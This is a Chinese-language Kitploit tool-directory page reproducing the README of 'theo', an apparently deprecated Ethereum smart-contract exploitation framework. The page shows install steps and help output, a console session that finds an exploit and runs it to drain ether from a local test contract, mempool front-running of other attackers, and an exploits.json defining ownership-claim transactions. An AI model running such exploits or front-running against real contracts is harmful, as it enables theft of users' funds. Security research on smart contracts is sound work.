Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
theo — 以太坊侦察与利用工具。 | Kitploit
工具/GitHubGitHub/cleanunicorn/theo
渗透测试框架侦察漏洞利用框架漏洞分析
GitHubcleanunicorn/theo

theo

以太坊侦察与利用工具。

查看仓库
3489371年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Theo

已废弃,不再维护,不要安装它,不要使用它,你已经被警告了!

License CircleCI Codacy Badge PyPI Code style: black

Theo 旨在成为一个利用框架以及区块链侦察和交互工具。

特性:

  • 自动扫描智能合约,生成可能存在的利用列表。
  • 发送交易以利用智能合约。
  • 交易池监控。
  • Web3 控制台
  • 抢先交易和回溯交易。
  • 等待一组交易后再发送其他交易。
  • 估算交易 gas 意味着只发送成功的交易。
  • 禁用 gas 估算将以固定的 gas 量发送交易。

他认识工作中的 Karl。

Theo 的目的是对抗那些试图成为精英黑客的脚本小子。他可以监听他们试图利用他的蜜罐,并让他们亏损资金,以此为自己牟利。

“你带我来的原因不是看我迷人的个性。”

安装

Theo 作为 PyPI 包提供:

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

从源码安装:

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

要求:

  • Python 3.5 或更高版本。
  • 提供 RPC 接口的以太坊节点。Ganache 非常适合测试或验证利用。

演示

发现利用并执行

扫描智能合约,发现利用,执行利用:

  • 启动 Ganache 作为本地以太坊节点
  • 部署存在漏洞的合约(在另一个窗口中完成)
  • 扫描利用
  • 运行利用

asciicast

抢先交易受害者

设置蜜罐,部署蜜罐,等待攻击者,抢先交易:

  • 启动 geth 作为本地以太坊节点
  • 开始挖矿
  • 部署蜜罐
  • 启动 Theo 并扫描内存池中的交易
  • 抢先交易攻击者并窃取其以太币

asciicast

使用

帮助屏幕

首先查看帮助屏幕是个好主意。

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

符号执行

利用 mythril 自动识别利用列表。

通过运行以下命令启动会话:

root@kitploit:~
$ theo --contract=<扫描的合约> --account-pk=<你的私钥>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

它将分析合约并找到可用的利用列表。

你可以看到找到的可用利用。在这种情况下,找到了一个利用。每个利用都是一个 Exploit 对象。

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

运行利用

利用步骤可以通过调用利用对象上的 .execute() 来运行。交易将被签名并发送到你连接的节点。

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

抢先交易

你可以启动抢先交易监控,监听其他黑客试图利用蜜罐的行为。

使用 .frontrun() 开始监听利用,当发现时,以更高的 gas 价格发送交易。

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

“哦,天哪!四分卫完蛋了!”

这对于一些特制的 合约 或其他存在漏洞的合约效果很好,只要确保抢先交易对你有利。

从文件加载交易

你可以自己指定利用列表,而不是使用 mythril 来识别利用。

创建一个如下所示的文件 exploits.json:

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

这个文件定义了 2 个利用,第一个有 2 笔交易,第二个只有 1 笔交易。

你可以通过以下命令加载它:

root@kitploit:~
$ theo --load-file=./exploits.json

故障排除

openssl/aes.h: No such file or directory

如果你遇到这个错误,你需要 libssl 源库:

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

在 Ubuntu 上,你可以通过以下命令安装它们:

root@kitploit:~
$ sudo apt install libssl-dev
下载工具